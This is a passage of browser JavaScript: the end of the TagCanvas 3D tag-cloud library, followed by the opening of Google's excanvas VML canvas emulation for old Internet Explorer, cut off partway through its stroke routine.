if(tl.length) { nl = this.listLength = tl.length; ol = taglist.length; // copy existing list, populate "removed" for(i = 0; i < ol; ++i) { newlist.push(taglist[i]); removed.push(i); } // find added and removed tags for(i = 0; i < nl; ++i) { for(j = 0, found = 0; j < ol; ++j) { if(taglist[j].EqualTo(tl[i])) { this.UpdateTag(newlist[j], tl[i]); found = removed[j] = -1; } } if(!found) added.push(i); } // clean out found tags from removed list for(i = 0, j = 0; i < ol; ++i) { if(removed[j] == -1) removed.splice(j,1); else ++j; } // insert new tags in gaps where old tags removed if(removed.length) { Shuffle(removed); while(removed.length && added.length) { i = removed.shift(); j = added.shift(); newlist[i] = this.CreateTag(tl[j]); } // remove any more (in reverse order) removed.sort(function(a,b) {return a-b}); while(removed.length) { newlist.splice(removed.pop(), 1); } } // add any extra tags j = newlist.length / (added.length + 1); i = 0; while(added.length) { newlist.splice(ceil(++i * j), 0, this.CreateTag(tl[added.shift()])); } // assign correct positions to tags this.shapeArgs[0] = nl = newlist.length; vl = this.shape.apply(this, this.shapeArgs); for(i = 0; i < nl; ++i) newlist[i].position = { x: vl[i][0], y: vl[i][1], z: vl[i][2] }; // reweight tags this.weight && this.Weight(newlist); } this.taglist = newlist; }; TCproto.SetShadow = function(c) { c.shadowBlur = this.shadowBlur; c.shadowOffsetX = this.shadowOffset[0]; c.shadowOffsetY = this.shadowOffset[1]; }; TCproto.Draw = function(t) { if(this.paused) return; var cv = this.canvas, cw = cv.width, ch = cv.height, max_sc = 0, tdelta = (t - this.time) * this.interval / 1000, x = cw / 2 + this.offsetX, y = ch / 2 + this.offsetY, c = this.ctxt, active, a, i, aindex = -1, tl = this.taglist, l = tl.length, frontsel = this.frontSelect, centreDrawn = (this.centreFunc == Nop); this.time = t; if(this.frozen && this.drawn) return this.Animate(cw,ch,tdelta); c.setTransform(1,0,0,1,0,0); this.active = null; for(i = 0; i < l; ++i) tl[i].Calc(this.transform); tl = SortList(tl, function(a,b) {return b.z-a.z}); for(i = 0; i < l; ++i) { a = this.mx >= 0 && this.my >= 0 && this.taglist[i].CheckActive(c, x, y); if(a && a.sc > max_sc && (!frontsel || a.z <= 0)) { active = a; aindex = i; active.tag = this.taglist[i]; max_sc = a.sc; } } this.active = active; this.txtOpt || (this.shadow && this.SetShadow(c)); c.clearRect(0,0,cw,ch); for(i = 0; i < l; ++i) { if(!centreDrawn && tl[i].z <= 0) { // run the centreFunc if the next tag is at the front try { this.centreFunc(c, cw, ch, x, y); } catch(e) { alert(e); // don't run it again this.centreFunc = Nop; } centreDrawn = true; } if(!(active && active.tag == tl[i] && active.PreDraw(c, tl[i], x, y))) tl[i].Draw(c, x, y); active && active.tag == tl[i] && active.PostDraw(c); } if(this.freezeActive && active) { this.Freeze(); } else { this.UnFreeze(); this.drawn = (l == this.listLength); } this.Animate(cw, ch, tdelta); active && active.LastDraw(c); cv.style.cursor = active ? this.activeCursor : ''; this.Tooltip(active,this.taglist[aindex]); }; TCproto.TooltipNone = function() { }; TCproto.TooltipNative = function(active,tag) { this.canvas.title = active && tag.title ? tag.title : ''; }; TCproto.TooltipDiv = function(active,tag) { var tc = this, s = tc.ttdiv.style, cid = tc.canvas.id, none = 'none'; if(active && tag.title) { if(tag.title != tc.ttdiv.innerHTML) s.display = none; tc.ttdiv.innerHTML = tag.title; tag.title = tc.ttdiv.innerHTML; if(s.display == none && ! tc.tttimer) { tc.tttimer = setTimeout(function() { var p = AbsPos(cid); s.display = 'block'; s.left = p.x + tc.mx + 'px'; s.top = p.y + tc.my + 24 + 'px'; tc.tttimer = null; }, tc.tooltipDelay); } } else { s.display = none; } }; TCproto.Transform = function(tc, p, y) { if(p || y) { var sp = sin(p), cp = cos(p), sy = sin(y), cy = cos(y), ym = new Matrix([cy,0,sy,0, 0,1,0,0, -sy,0,cy,0, 0,0,0,1]), pm = new Matrix([1,0,0,0, 0,cp,-sp,0, 0,sp,cp,0, 0,0,0,1]); tc.transform = tc.transform.mul(ym.mul(pm)); } }; TCproto.AnimatePosition = function(w, h, t) { var tc = this, x = tc.mx, y = tc.my, s, r; if(!tc.frozen && x >= 0 && y >= 0 && x < w && y < h) { s = tc.maxSpeed, r = tc.reverse ? -1 : 1; tc.lx || (tc.yaw = r * t * ((s * 2 * x / w) - s)); tc.ly || (tc.pitch = r * t * -((s * 2 * y / h) - s)); tc.initial = null; } else if(!tc.initial) { if(tc.frozen && !tc.freezeDecel) tc.yaw = tc.pitch = 0; else tc.Decel(tc); } this.Transform(tc, tc.pitch, tc.yaw); }; TCproto.AnimateDrag = function(w, h, t) { var tc = this, rs = 100 * t * tc.maxSpeed / tc.max_radius / tc.zoom; if(tc.dx || tc.dy) { tc.lx || (tc.yaw = tc.dx * rs / tc.stretchX); tc.ly || (tc.pitch = tc.dy * -rs / tc.stretchY); tc.dx = tc.dy = 0; tc.initial = null; } else if(!tc.initial) { tc.Decel(tc); } this.Transform(tc, tc.pitch, tc.yaw); }; TCproto.Freeze = function() { if(!this.frozen) { this.preFreeze = [this.yaw, this.pitch]; this.frozen = 1; this.drawn = 0; } }; TCproto.UnFreeze = function() { if(this.frozen) { this.yaw = this.preFreeze[0]; this.pitch = this.preFreeze[1]; this.frozen = 0; } }; TCproto.Decel = function(tc) { var s = tc.minSpeed, ay = abs(tc.yaw), ap = abs(tc.pitch); if(!tc.lx && ay > s) tc.yaw = ay > tc.z0 ? tc.yaw * tc.decel : 0; if(!tc.ly && ap > s) tc.pitch = ap > tc.z0 ? tc.pitch * tc.decel : 0; }; TCproto.Zoom = function(r) { this.z2 = this.z1 * (1/r); this.drawn = 0; }; TCproto.Clicked = function(e) { var a = this.active; try { a && a.tag && a.tag.Clicked(e); } catch(ex) { } }; TCproto.Wheel = function(i) { var z = this.zoom + this.zoomStep * (i ? 1 : -1); this.zoom = min(this.zoomMax,max(this.zoomMin,z)); this.Zoom(this.zoom); }; TCproto.BeginDrag = function(e) { this.down = EventXY(e, this.canvas); e.cancelBubble = true; e.returnValue = false; e.preventDefault && e.preventDefault(); }; TCproto.Drag = function(e, p) { if(this.dragControl && this.down) { var t2 = this.dragThreshold * this.dragThreshold, dx = p.x - this.down.x, dy = p.y - this.down.y; if(this.dragging || dx * dx + dy * dy > t2) { this.dx = dx; this.dy = dy; this.dragging = 1; this.down = p; } } }; TCproto.EndDrag = function() { var res = this.dragging; this.dragging = this.down = null; return res; }; TCproto.Pause = function() { this.paused = true; }; TCproto.Resume = function() { this.paused = false; }; TagCanvas.Start = function(id,l,o) { TagCanvas.tc[id] = new TagCanvas(id,l,o); }; function tccall(f,id) { TagCanvas.tc[id] && TagCanvas.tc[id][f](); } TagCanvas.Pause = function(id) { tccall('Pause',id); }; TagCanvas.Resume = function(id) { tccall('Resume',id); }; TagCanvas.Reload = function(id) { tccall('Load',id); }; TagCanvas.Update = function(id) { tccall('Update',id); }; TagCanvas.NextFrame = function(iv) { var raf = window.requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame; TagCanvas.NextFrame = raf ? TagCanvas.NextFrameRAF : TagCanvas.NextFrameTimeout; TagCanvas.NextFrame(iv); }; TagCanvas.NextFrameRAF = function() { requestAnimationFrame(DrawCanvas); }; TagCanvas.NextFrameTimeout = function(iv) { setTimeout(DrawCanvas, iv); }; TagCanvas.tc = {}; TagCanvas.options = { z1: 20000, z2: 20000, z0: 0.0002, freezeActive: false, freezeDecel: false, activeCursor: 'pointer', pulsateTo: 1, pulsateTime: 3, reverse: false, depth: 0.5, maxSpeed: 0.05, minSpeed: 0, decel: 0.95, interval: 20, minBrightness: 0.1, maxBrightness: 1, outlineColour: '#ffff99', outlineThickness: 2, outlineOffset: 5, outlineMethod: 'outline', textColour: '#ff99ff', textHeight: 15, textFont: 'Helvetica, Arial, sans-serif', shadow: '#000', shadowBlur: 0, shadowOffset: [0,0], initial: null, hideTags: true, zoom: 1, weight: false, weightMode: 'size', weightFrom: null, weightSize: 1, weightSizeMin: null, weightSizeMax: null, weightGradient: {0:'#f00', 0.33:'#ff0', 0.66:'#0f0', 1:'#00f'}, txtOpt: true, txtScale: 2, frontSelect: false, wheelZoom: true, zoomMin: 0.3, zoomMax: 3, zoomStep: 0.05, shape: 'sphere', lock: null, tooltip: null, tooltipDelay: 300, tooltipClass: 'tctooltip', radiusX: 1, radiusY: 1, radiusZ: 1, stretchX: 1, stretchY: 1, offsetX: 0, offsetY: 0, shuffleTags: false, noSelect: false, noMouse: false, imageScale: 1, paused: false, dragControl: false, dragThreshold: 4, centreFunc: Nop, splitWidth: 0 }; for(i in TagCanvas.options) TagCanvas[i] = TagCanvas.options[i]; window.TagCanvas = TagCanvas; // set a flag for when the window has loaded AddHandler('load',function(){TagCanvas.loaded=1},window); })();
JavaScript
// Copyright 2006 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Known Issues: // // * Patterns only support repeat. // * Radial gradient are not implemented. The VML version of these look very // different from the canvas one. // * Clipping paths are not implemented. // * Coordsize. The width and height attribute have higher priority than the // width and height style values which isn't correct. // * Painting mode isn't implemented. // * Canvas width/height should is using content-box by default. IE in // Quirks mode will draw the canvas using border-box. Either change your // doctype to HTML5 // (http://www.whatwg.org/specs/web-apps/current-work/#the-doctype) // or use Box Sizing Behavior from WebFX // (http://webfx.eae.net/dhtml/boxsizing/boxsizing.html) // * Non uniform scaling does not correctly scale strokes. // * Optimize. There is always room for speed improvements. // Only add this code if we do not already have a canvas implementation if (!document.createElement('canvas').getContext) { (function() { // alias some functions to make (compiled) code shorter var m = Math; var mr = m.round; var ms = m.sin; var mc = m.cos; var abs = m.abs; var sqrt = m.sqrt; // this is used for sub pixel precision var Z = 10; var Z2 = Z / 2; var IE_VERSION = +navigator.userAgent.match(/MSIE ([\d.]+)?/)[1]; /** * This funtion is assigned to the <canvas> elements as element.getContext(). * @this {HTMLElement} * @return {CanvasRenderingContext2D_} */ function getContext() { return this.context_ || (this.context_ = new CanvasRenderingContext2D_(this)); } var slice = Array.prototype.slice; /** * Binds a function to an object. The returned function will always use the * passed in {@code obj} as {@code this}. * * Example: * * g = bind(f, obj, a, b) * g(c, d) // will do f.call(obj, a, b, c, d) * * @param {Function} f The function to bind the object to * @param {Object} obj The object that should act as this when the function * is called * @param {*} var_args Rest arguments that will be used as the initial * arguments when the function is called * @return {Function} A new function that has bound this */ function bind(f, obj, var_args) { var a = slice.call(arguments, 2); return function() { return f.apply(obj, a.concat(slice.call(arguments))); }; } function encodeHtmlAttribute(s) { return String(s).replace(/&/g, '&amp;').replace(/"/g, '&quot;'); } function addNamespace(doc, prefix, urn) { if (!doc.namespaces[prefix]) { doc.namespaces.add(prefix, urn, '#default#VML'); } } function addNamespacesAndStylesheet(doc) { addNamespace(doc, 'g_vml_', 'urn:schemas-microsoft-com:vml'); addNamespace(doc, 'g_o_', 'urn:schemas-microsoft-com:office:office'); // Setup default CSS. Only add one style sheet per document if (!doc.styleSheets['ex_canvas_']) { var ss = doc.createStyleSheet(); ss.owningElement.id = 'ex_canvas_'; ss.cssText = 'canvas{display:inline-block;overflow:hidden;' + // default size is 300x150 in Gecko and Opera 'text-align:left;width:300px;height:150px}'; } } // Add namespaces and stylesheet at startup. addNamespacesAndStylesheet(document); var G_vmlCanvasManager_ = { init: function(opt_doc) { var doc = opt_doc || document; // Create a dummy element so that IE will allow canvas elements to be // recognized. doc.createElement('canvas'); doc.attachEvent('onreadystatechange', bind(this.init_, this, doc)); }, init_: function(doc) { // find all canvas elements var els = doc.getElementsByTagName('canvas'); for (var i = 0; i < els.length; i++) { this.initElement(els[i]); } }, /** * Public initializes a canvas element so that it can be used as canvas * element from now on. This is called automatically before the page is * loaded but if you are creating elements using createElement you need to * make sure this is called on the element. * @param {HTMLElement} el The canvas element to initialize. * @return {HTMLElement} the element that was created. */ initElement: function(el) { if (!el.getContext) { el.getContext = getContext; // Add namespaces and stylesheet to document of the element. addNamespacesAndStylesheet(el.ownerDocument); // Remove fallback content. There is no way to hide text nodes so we // just remove all childNodes. We could hide all elements and remove // text nodes but who really cares about the fallback content. el.innerHTML = ''; // do not use inline function because that will leak memory el.attachEvent('onpropertychange', onPropertyChange); el.attachEvent('onresize', onResize); var attrs = el.attributes; if (attrs.width && attrs.width.specified) { // TODO: use runtimeStyle and coordsize // el.getContext().setWidth_(attrs.width.nodeValue); el.style.width = attrs.width.nodeValue + 'px'; } else { el.width = el.clientWidth; } if (attrs.height && attrs.height.specified) { // TODO: use runtimeStyle and coordsize // el.getContext().setHeight_(attrs.height.nodeValue); el.style.height = attrs.height.nodeValue + 'px'; } else { el.height = el.clientHeight; } //el.getContext().setCoordsize_() } return el; } }; function onPropertyChange(e) { var el = e.srcElement; switch (e.propertyName) { case 'width': el.getContext().clearRect(); el.style.width = el.attributes.width.nodeValue + 'px'; // In IE8 this does not trigger onresize. el.firstChild.style.width = el.clientWidth + 'px'; break; case 'height': el.getContext().clearRect(); el.style.height = el.attributes.height.nodeValue + 'px'; el.firstChild.style.height = el.clientHeight + 'px'; break; } } function onResize(e) { var el = e.srcElement; if (el.firstChild) { el.firstChild.style.width = el.clientWidth + 'px'; el.firstChild.style.height = el.clientHeight + 'px'; } } G_vmlCanvasManager_.init(); // precompute "00" to "FF" var decToHex = []; for (var i = 0; i < 16; i++) { for (var j = 0; j < 16; j++) { decToHex[i * 16 + j] = i.toString(16) + j.toString(16); } } function createMatrixIdentity() { return [ [1, 0, 0], [0, 1, 0], [0, 0, 1] ]; } function matrixMultiply(m1, m2) { var result = createMatrixIdentity(); for (var x = 0; x < 3; x++) { for (var y = 0; y < 3; y++) { var sum = 0; for (var z = 0; z < 3; z++) { sum += m1[x][z] * m2[z][y]; } result[x][y] = sum; } } return result; } function copyState(o1, o2) { o2.fillStyle = o1.fillStyle; o2.lineCap = o1.lineCap; o2.lineJoin = o1.lineJoin; o2.lineWidth = o1.lineWidth; o2.miterLimit = o1.miterLimit; o2.shadowBlur = o1.shadowBlur; o2.shadowColor = o1.shadowColor; o2.shadowOffsetX = o1.shadowOffsetX; o2.shadowOffsetY = o1.shadowOffsetY; o2.strokeStyle = o1.strokeStyle; o2.globalAlpha = o1.globalAlpha; o2.font = o1.font; o2.textAlign = o1.textAlign; o2.textBaseline = o1.textBaseline; o2.arcScaleX_ = o1.arcScaleX_; o2.arcScaleY_ = o1.arcScaleY_; o2.lineScale_ = o1.lineScale_; } var colorData = { aliceblue: '#F0F8FF', antiquewhite: '#FAEBD7', aquamarine: '#7FFFD4', azure: '#F0FFFF', beige: '#F5F5DC', bisque: '#FFE4C4', black: '#000000', blanchedalmond: '#FFEBCD', blueviolet: '#8A2BE2', brown: '#A52A2A', burlywood: '#DEB887', cadetblue: '#5F9EA0', chartreuse: '#7FFF00', chocolate: '#D2691E', coral: '#FF7F50', cornflowerblue: '#6495ED', cornsilk: '#FFF8DC', crimson: '#DC143C', cyan: '#00FFFF', darkblue: '#00008B', darkcyan: '#008B8B', darkgoldenrod: '#B8860B', darkgray: '#A9A9A9', darkgreen: '#006400', darkgrey: '#A9A9A9', darkkhaki: '#BDB76B', darkmagenta: '#8B008B', darkolivegreen: '#556B2F', darkorange: '#FF8C00', darkorchid: '#9932CC', darkred: '#8B0000', darksalmon: '#E9967A', darkseagreen: '#8FBC8F', darkslateblue: '#483D8B', darkslategray: '#2F4F4F', darkslategrey: '#2F4F4F', darkturquoise: '#00CED1', darkviolet: '#9400D3', deeppink: '#FF1493', deepskyblue: '#00BFFF', dimgray: '#696969', dimgrey: '#696969', dodgerblue: '#1E90FF', firebrick: '#B22222', floralwhite: '#FFFAF0', forestgreen: '#228B22', gainsboro: '#DCDCDC', ghostwhite: '#F8F8FF', gold: '#FFD700', goldenrod: '#DAA520', grey: '#808080', greenyellow: '#ADFF2F', honeydew: '#F0FFF0', hotpink: '#FF69B4', indianred: '#CD5C5C', indigo: '#4B0082', ivory: '#FFFFF0', khaki: '#F0E68C', lavender: '#E6E6FA', lavenderblush: '#FFF0F5', lawngreen: '#7CFC00', lemonchiffon: '#FFFACD', lightblue: '#ADD8E6', lightcoral: '#F08080', lightcyan: '#E0FFFF', lightgoldenrodyellow: '#FAFAD2', lightgreen: '#90EE90', lightgrey: '#D3D3D3', lightpink: '#FFB6C1', lightsalmon: '#FFA07A', lightseagreen: '#20B2AA', lightskyblue: '#87CEFA', lightslategray: '#778899', lightslategrey: '#778899', lightsteelblue: '#B0C4DE', lightyellow: '#FFFFE0', limegreen: '#32CD32', linen: '#FAF0E6', magenta: '#FF00FF', mediumaquamarine: '#66CDAA', mediumblue: '#0000CD', mediumorchid: '#BA55D3', mediumpurple: '#9370DB', mediumseagreen: '#3CB371', mediumslateblue: '#7B68EE', mediumspringgreen: '#00FA9A', mediumturquoise: '#48D1CC', mediumvioletred: '#C71585', midnightblue: '#191970', mintcream: '#F5FFFA', mistyrose: '#FFE4E1', moccasin: '#FFE4B5', navajowhite: '#FFDEAD', oldlace: '#FDF5E6', olivedrab: '#6B8E23', orange: '#FFA500', orangered: '#FF4500', orchid: '#DA70D6', palegoldenrod: '#EEE8AA', palegreen: '#98FB98', paleturquoise: '#AFEEEE', palevioletred: '#DB7093', papayawhip: '#FFEFD5', peachpuff: '#FFDAB9', peru: '#CD853F', pink: '#FFC0CB', plum: '#DDA0DD', powderblue: '#B0E0E6', rosybrown: '#BC8F8F', royalblue: '#4169E1', saddlebrown: '#8B4513', salmon: '#FA8072', sandybrown: '#F4A460', seagreen: '#2E8B57', seashell: '#FFF5EE', sienna: '#A0522D', skyblue: '#87CEEB', slateblue: '#6A5ACD', slategray: '#708090', slategrey: '#708090', snow: '#FFFAFA', springgreen: '#00FF7F', steelblue: '#4682B4', tan: '#D2B48C', thistle: '#D8BFD8', tomato: '#FF6347', turquoise: '#40E0D0', violet: '#EE82EE', wheat: '#F5DEB3', whitesmoke: '#F5F5F5', yellowgreen: '#9ACD32' }; function getRgbHslContent(styleString) { var start = styleString.indexOf('(', 3); var end = styleString.indexOf(')', start + 1); var parts = styleString.substring(start + 1, end).split(','); // add alpha if needed if (parts.length != 4 || styleString.charAt(3) != 'a') { parts[3] = 1; } return parts; } function percent(s) { return parseFloat(s) / 100; } function clamp(v, min, max) { return Math.min(max, Math.max(min, v)); } function hslToRgb(parts){ var r, g, b, h, s, l; h = parseFloat(parts[0]) / 360 % 360; if (h < 0) h++; s = clamp(percent(parts[1]), 0, 1); l = clamp(percent(parts[2]), 0, 1); if (s == 0) { r = g = b = l; // achromatic } else { var q = l < 0.5 ? l * (1 + s) : l + s - l * s; var p = 2 * l - q; r = hueToRgb(p, q, h + 1 / 3); g = hueToRgb(p, q, h); b = hueToRgb(p, q, h - 1 / 3); } return '#' + decToHex[Math.floor(r * 255)] + decToHex[Math.floor(g * 255)] + decToHex[Math.floor(b * 255)]; } function hueToRgb(m1, m2, h) { if (h < 0) h++; if (h > 1) h--; if (6 * h < 1) return m1 + (m2 - m1) * 6 * h; else if (2 * h < 1) return m2; else if (3 * h < 2) return m1 + (m2 - m1) * (2 / 3 - h) * 6; else return m1; } var processStyleCache = {}; function processStyle(styleString) { if (styleString in processStyleCache) { return processStyleCache[styleString]; } var str, alpha = 1; styleString = String(styleString); if (styleString.charAt(0) == '#') { str = styleString; } else if (/^rgb/.test(styleString)) { var parts = getRgbHslContent(styleString); var str = '#', n; for (var i = 0; i < 3; i++) { if (parts[i].indexOf('%') != -1) { n = Math.floor(percent(parts[i]) * 255); } else { n = +parts[i]; } str += decToHex[clamp(n, 0, 255)]; } alpha = +parts[3]; } else if (/^hsl/.test(styleString)) { var parts = getRgbHslContent(styleString); str = hslToRgb(parts); alpha = parts[3]; } else { str = colorData[styleString] || styleString; } return processStyleCache[styleString] = {color: str, alpha: alpha}; } var DEFAULT_STYLE = { style: 'normal', variant: 'normal', weight: 'normal', size: 10, family: 'sans-serif' }; // Internal text style cache var fontStyleCache = {}; function processFontStyle(styleString) { if (fontStyleCache[styleString]) { return fontStyleCache[styleString]; } var el = document.createElement('div'); var style = el.style; try { style.font = styleString; } catch (ex) { // Ignore failures to set to invalid font. } return fontStyleCache[styleString] = { style: style.fontStyle || DEFAULT_STYLE.style, variant: style.fontVariant || DEFAULT_STYLE.variant, weight: style.fontWeight || DEFAULT_STYLE.weight, size: style.fontSize || DEFAULT_STYLE.size, family: style.fontFamily || DEFAULT_STYLE.family }; } function getComputedStyle(style, element) { var computedStyle = {}; for (var p in style) { computedStyle[p] = style[p]; } // Compute the size var canvasFontSize = parseFloat(element.currentStyle.fontSize), fontSize = parseFloat(style.size); if (typeof style.size == 'number') { computedStyle.size = style.size; } else if (style.size.indexOf('px') != -1) { computedStyle.size = fontSize; } else if (style.size.indexOf('em') != -1) { computedStyle.size = canvasFontSize * fontSize; } else if(style.size.indexOf('%') != -1) { computedStyle.size = (canvasFontSize / 100) * fontSize; } else if (style.size.indexOf('pt') != -1) { computedStyle.size = fontSize / .75; } else { computedStyle.size = canvasFontSize; } // Different scaling between normal text and VML text. This was found using // trial and error to get the same size as non VML text. computedStyle.size *= 0.981; return computedStyle; } function buildStyle(style) { return style.style + ' ' + style.variant + ' ' + style.weight + ' ' + style.size + 'px ' + style.family; } var lineCapMap = { 'butt': 'flat', 'round': 'round' }; function processLineCap(lineCap) { return lineCapMap[lineCap] || 'square'; } /** * This class implements CanvasRenderingContext2D interface as described by * the WHATWG. * @param {HTMLElement} canvasElement The element that the 2D context should * be associated with */ function CanvasRenderingContext2D_(canvasElement) { this.m_ = createMatrixIdentity(); this.mStack_ = []; this.aStack_ = []; this.currentPath_ = []; // Canvas context properties this.strokeStyle = '#000'; this.fillStyle = '#000'; this.lineWidth = 1; this.lineJoin = 'miter'; this.lineCap = 'butt'; this.miterLimit = Z * 1; this.globalAlpha = 1; this.font = '10px sans-serif'; this.textAlign = 'left'; this.textBaseline = 'alphabetic'; this.canvas = canvasElement; var cssText = 'width:' + canvasElement.clientWidth + 'px;height:' + canvasElement.clientHeight + 'px;overflow:hidden;position:absolute'; var el = canvasElement.ownerDocument.createElement('div'); el.style.cssText = cssText; canvasElement.appendChild(el); var overlayEl = el.cloneNode(false); // Use a non transparent background. overlayEl.style.backgroundColor = 'red'; overlayEl.style.filter = 'alpha(opacity=0)'; canvasElement.appendChild(overlayEl); this.element_ = el; this.arcScaleX_ = 1; this.arcScaleY_ = 1; this.lineScale_ = 1; } var contextPrototype = CanvasRenderingContext2D_.prototype; contextPrototype.clearRect = function() { if (this.textMeasureEl_) { this.textMeasureEl_.removeNode(true); this.textMeasureEl_ = null; } this.element_.innerHTML = ''; }; contextPrototype.beginPath = function() { // TODO: Branch current matrix so that save/restore has no effect // as per safari docs. this.currentPath_ = []; }; contextPrototype.moveTo = function(aX, aY) { var p = getCoords(this, aX, aY); this.currentPath_.push({type: 'moveTo', x: p.x, y: p.y}); this.currentX_ = p.x; this.currentY_ = p.y; }; contextPrototype.lineTo = function(aX, aY) { var p = getCoords(this, aX, aY); this.currentPath_.push({type: 'lineTo', x: p.x, y: p.y}); this.currentX_ = p.x; this.currentY_ = p.y; }; contextPrototype.bezierCurveTo = function(aCP1x, aCP1y, aCP2x, aCP2y, aX, aY) { var p = getCoords(this, aX, aY); var cp1 = getCoords(this, aCP1x, aCP1y); var cp2 = getCoords(this, aCP2x, aCP2y); bezierCurveTo(this, cp1, cp2, p); }; // Helper function that takes the already fixed cordinates. function bezierCurveTo(self, cp1, cp2, p) { self.currentPath_.push({ type: 'bezierCurveTo', cp1x: cp1.x, cp1y: cp1.y, cp2x: cp2.x, cp2y: cp2.y, x: p.x, y: p.y }); self.currentX_ = p.x; self.currentY_ = p.y; } contextPrototype.quadraticCurveTo = function(aCPx, aCPy, aX, aY) { // the following is lifted almost directly from // http://developer.mozilla.org/en/docs/Canvas_tutorial:Drawing_shapes var cp = getCoords(this, aCPx, aCPy); var p = getCoords(this, aX, aY); var cp1 = { x: this.currentX_ + 2.0 / 3.0 * (cp.x - this.currentX_), y: this.currentY_ + 2.0 / 3.0 * (cp.y - this.currentY_) }; var cp2 = { x: cp1.x + (p.x - this.currentX_) / 3.0, y: cp1.y + (p.y - this.currentY_) / 3.0 }; bezierCurveTo(this, cp1, cp2, p); }; contextPrototype.arc = function(aX, aY, aRadius, aStartAngle, aEndAngle, aClockwise) { aRadius *= Z; var arcType = aClockwise ? 'at' : 'wa'; var xStart = aX + mc(aStartAngle) * aRadius - Z2; var yStart = aY + ms(aStartAngle) * aRadius - Z2; var xEnd = aX + mc(aEndAngle) * aRadius - Z2; var yEnd = aY + ms(aEndAngle) * aRadius - Z2; // IE won't render arches drawn counter clockwise if xStart == xEnd. if (xStart == xEnd && !aClockwise) { xStart += 0.125; // Offset xStart by 1/80 of a pixel. Use something // that can be represented in binary } var p = getCoords(this, aX, aY); var pStart = getCoords(this, xStart, yStart); var pEnd = getCoords(this, xEnd, yEnd); this.currentPath_.push({type: arcType, x: p.x, y: p.y, radius: aRadius, xStart: pStart.x, yStart: pStart.y, xEnd: pEnd.x, yEnd: pEnd.y}); }; contextPrototype.rect = function(aX, aY, aWidth, aHeight) { this.moveTo(aX, aY); this.lineTo(aX + aWidth, aY); this.lineTo(aX + aWidth, aY + aHeight); this.lineTo(aX, aY + aHeight); this.closePath(); }; contextPrototype.strokeRect = function(aX, aY, aWidth, aHeight) { var oldPath = this.currentPath_; this.beginPath(); this.moveTo(aX, aY); this.lineTo(aX + aWidth, aY); this.lineTo(aX + aWidth, aY + aHeight); this.lineTo(aX, aY + aHeight); this.closePath(); this.stroke(); this.currentPath_ = oldPath; }; contextPrototype.fillRect = function(aX, aY, aWidth, aHeight) { var oldPath = this.currentPath_; this.beginPath(); this.moveTo(aX, aY); this.lineTo(aX + aWidth, aY); this.lineTo(aX + aWidth, aY + aHeight); this.lineTo(aX, aY + aHeight); this.closePath(); this.fill(); this.currentPath_ = oldPath; }; contextPrototype.createLinearGradient = function(aX0, aY0, aX1, aY1) { var gradient = new CanvasGradient_('gradient'); gradient.x0_ = aX0; gradient.y0_ = aY0; gradient.x1_ = aX1; gradient.y1_ = aY1; return gradient; }; contextPrototype.createRadialGradient = function(aX0, aY0, aR0, aX1, aY1, aR1) { var gradient = new CanvasGradient_('gradientradial'); gradient.x0_ = aX0; gradient.y0_ = aY0; gradient.r0_ = aR0; gradient.x1_ = aX1; gradient.y1_ = aY1; gradient.r1_ = aR1; return gradient; }; contextPrototype.drawImage = function(image, var_args) { var dx, dy, dw, dh, sx, sy, sw, sh; // to find the original width we overide the width and height var oldRuntimeWidth = image.runtimeStyle.width; var oldRuntimeHeight = image.runtimeStyle.height; image.runtimeStyle.width = 'auto'; image.runtimeStyle.height = 'auto'; // get the original size var w = image.width; var h = image.height; // and remove overides image.runtimeStyle.width = oldRuntimeWidth; image.runtimeStyle.height = oldRuntimeHeight; if (arguments.length == 3) { dx = arguments[1]; dy = arguments[2]; sx = sy = 0; sw = dw = w; sh = dh = h; } else if (arguments.length == 5) { dx = arguments[1]; dy = arguments[2]; dw = arguments[3]; dh = arguments[4]; sx = sy = 0; sw = w; sh = h; } else if (arguments.length == 9) { sx = arguments[1]; sy = arguments[2]; sw = arguments[3]; sh = arguments[4]; dx = arguments[5]; dy = arguments[6]; dw = arguments[7]; dh = arguments[8]; } else { throw Error('Invalid number of arguments'); } var d = getCoords(this, dx, dy); var w2 = sw / 2; var h2 = sh / 2; var vmlStr = []; var W = 10; var H = 10; // For some reason that I've now forgotten, using divs didn't work vmlStr.push(' <g_vml_:group', ' coordsize="', Z * W, ',', Z * H, '"', ' coordorigin="0,0"' , ' style="width:', W, 'px;height:', H, 'px;position:absolute;'); // If filters are necessary (rotation exists), create them // filters are bog-slow, so only create them if abbsolutely necessary // The following check doesn't account for skews (which don't exist // in the canvas spec (yet) anyway. if (this.m_[0][0] != 1 || this.m_[0][1] || this.m_[1][1] != 1 || this.m_[1][0]) { var filter = []; // Note the 12/21 reversal filter.push('M11=', this.m_[0][0], ',', 'M12=', this.m_[1][0], ',', 'M21=', this.m_[0][1], ',', 'M22=', this.m_[1][1], ',', 'Dx=', mr(d.x / Z), ',', 'Dy=', mr(d.y / Z), ''); // Bounding box calculation (need to minimize displayed area so that // filters don't waste time on unused pixels. var max = d; var c2 = getCoords(this, dx + dw, dy); var c3 = getCoords(this, dx, dy + dh); var c4 = getCoords(this, dx + dw, dy + dh); max.x = m.max(max.x, c2.x, c3.x, c4.x); max.y = m.max(max.y, c2.y, c3.y, c4.y); vmlStr.push('padding:0 ', mr(max.x / Z), 'px ', mr(max.y / Z), 'px 0;filter:progid:DXImageTransform.Microsoft.Matrix(', filter.join(''), ", sizingmethod='clip');"); } else { vmlStr.push('top:', mr(d.y / Z), 'px;left:', mr(d.x / Z), 'px;'); } vmlStr.push(' ">' , '<g_vml_:image src="', image.src, '"', ' style="width:', Z * dw, 'px;', ' height:', Z * dh, 'px"', ' cropleft="', sx / w, '"', ' croptop="', sy / h, '"', ' cropright="', (w - sx - sw) / w, '"', ' cropbottom="', (h - sy - sh) / h, '"', ' />', '</g_vml_:group>'); this.element_.insertAdjacentHTML('BeforeEnd', vmlStr.join('')); }; contextPrototype.stroke = function(aFill) { var lineStr = []; var lineOpen = false; var W = 10; var H = 10; lineStr.push('<g_vml_:shape', ' filled="', !!aFill, '"', ' style="position:absolute;width:', W, 'px;height:', H, 'px;"', ' coordorigin="0,0"', ' coordsize="', Z * W, ',', Z * H, '"', ' stroked="', !aFill, '"', 